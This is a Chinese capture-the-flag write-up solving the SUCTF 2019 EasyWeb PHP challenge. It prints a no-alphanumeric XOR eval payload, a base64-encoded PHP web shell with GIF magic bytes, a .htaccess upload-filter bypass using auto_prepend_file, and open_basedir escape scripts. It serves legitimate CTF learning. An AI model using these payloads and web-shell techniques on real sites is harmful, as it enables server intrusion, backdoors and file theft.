[SUCTF 2019]EasyWeb
参考:
[SUCTF 2019]EasyWeb-CSDN博客
[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)
场景:

代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
根据对主程序的代码审计,我们知道这里我们需要采用无数字字母rce的方式。
无数字字母rce的payload:
1 2 3
| ?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo 或 ?.=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
|

由于需要利用system(‘ls /‘);以及echo ls /
;这些代码都是需要进行拼接字符串才可以被eval()执行,如:
1
| $_GET[a]($_GET[b])=>a=system&b='ls /'
|
而这样做的结果就是加长了构造的payload字符串导致字符串的长度边长,所含字符的种类变多,从而被拦截
但是题目中给出了获取flag的函数:get_the_flag,所以我们可以通过调用该函数获取flag
调用get_the_flag()函数:
1
| ?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag
|

没有回显内容,这是因为我们只是调用了该函数,但是没有上传文件。
对get_the_flag()函数代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
|
分析:
1 2 3 4
| 1.根据代码审计我们知道我们需要上传文件到该网站中,才能成功运行,但是该网站没有提供给我们上传文件的接口,所以我们需要自己创造一个上传文件的接口,将我们本地文件的内容上传到该网站上 2.根据代码审计我们发现后缀过滤,但是这种过滤方式可以用.php.进行绕过,或者使用图片后缀名配合.htaccess文件进行绕过 3.exif_imagetype($tmp_name)检测文件内容是否为图片类型,使用添加文件幻术头进行绕过,.htaccess中#作为注释,所以可以采用XBM文件的,而上传的PHP代码文件可以添加更为方便的GIF文件的GIF89a66 4.mb_strpos(file_get_contents($tmp_name), '<?')对文件php内容的开头进行判断,可以使用<script language="php">@eval($_POST['pass']);</script>进行绕过,不过前提是php运行内核版本<7.0,或者使用加密内容传输,配合.htaccess文件解密加密的文件内容
|
创造上传文件的html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <!DOCTYPE html> <html>
<head> <meta charset="UTF-8"> <title>文件上传</title> </head>
<body> <h1>上传文件</h1> <form action="http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <br> <input type="submit" value="上传"> </form> </body>
</html>
|
这里指定的url是指目标网站地址,上传的文件会被寄存在目标网站的tmp目录上等待被处理,这里同时在访问目标网址时启动get_the_flag()函数,用于上传文件后能直接处理tmp目录中的文件。
查看网页运行的php版本:

php版本为7.2.19所以不能使用<script language=”php”>@eval($_POST[‘pass’]);</script>进行绕过,所以要逃过对<?的检测只能使用文件内容加密配合.htaccess文件加密文件内容,使用了.htaccess文件,就直接上传图片文件吧。
准备上传文件:
pass.php:
1 2 3
| GIF89a66
<?php echo "win!!!";@eval($_POST['pass']);?>
|
=>转化为绕过文件:
pass.jpg:
1 2 3
| GIF89a66
PD9waHAgZWNobyAid2luISEhIjtAZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g
|

.htaccess:
方法一:
添加XBM文件幻术头:
1 2 3 4
| #define width 1337
#define height 1337
|
1 2 3 4 5 6 7
| #define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./pass.jpg"
AddType application/x-httpd-php .jpg
|

方法二:
1 2 3
| 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) x00x00x8ax39x8ax39 是wbmp文件的文件头 .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
|
这里采用方法一的.htaccess文件。
上传文件:
pass.jpg:
上传:

响应结果:

.htaccess:
上传:

响应结果:

访问我们的pass.jpg:

测试木马文件是否可用:
payload:

我们的木马文件可以被使用!!!
查看文件根目录:
payload:
1 2
| POST: pass=system('ls /');
|

没有回显内容,可能是对函数进行禁用了。
查看phpinfo()了解禁用内容:

禁用了对系统命令的使用,所以只能采取蚁剑连接了。
蚁剑连接木马文件:

第一种方式:直接查看:
(前提是蚁剑拥有可以访问根目录中文件信息的权限)
查看文件的根目录信息:

发现一个flag相关文件
打开THis_Is_tHe_F14g文件:

获得flag=flag{7f878969-d964-4dfe-886b-00815550a1d6}
第二种方式:在上传文件的目录中再创建一个shell.php用于获取文件信息:
(蚁剑无法直接获取根目录文件内容时以及)
获取指定目录的文件信息:
新建文件shell1.php:
shell1.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php mkdir('south'); chdir('south'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/'));
|




网页访问我们新建的shell1.php:
(由于是在当前目录下创建的shell1.php,所以访问时还是以当前目录下的shell1.php去启动运行该文件)
1
| http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell1.php
|

获得一个文件:THis_Is_tHe_F14g
获取指定目录下的文件的内容:
新建一个shell2.php:
shell2.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php mkdir('south'); chdir('south'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/')); echo "<hr>"; echo file_get_contents("/THis_Is_tHe_F14g");
|


网页访问我们新建的shell2.php:
1
| http://4e0bb1d6-9792-4b57-9a11-3a50902dc814.node5.buuoj.cn:81/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell2.php
|

flag=flag{7f878969-d964-4dfe-886b-00815550a1d6}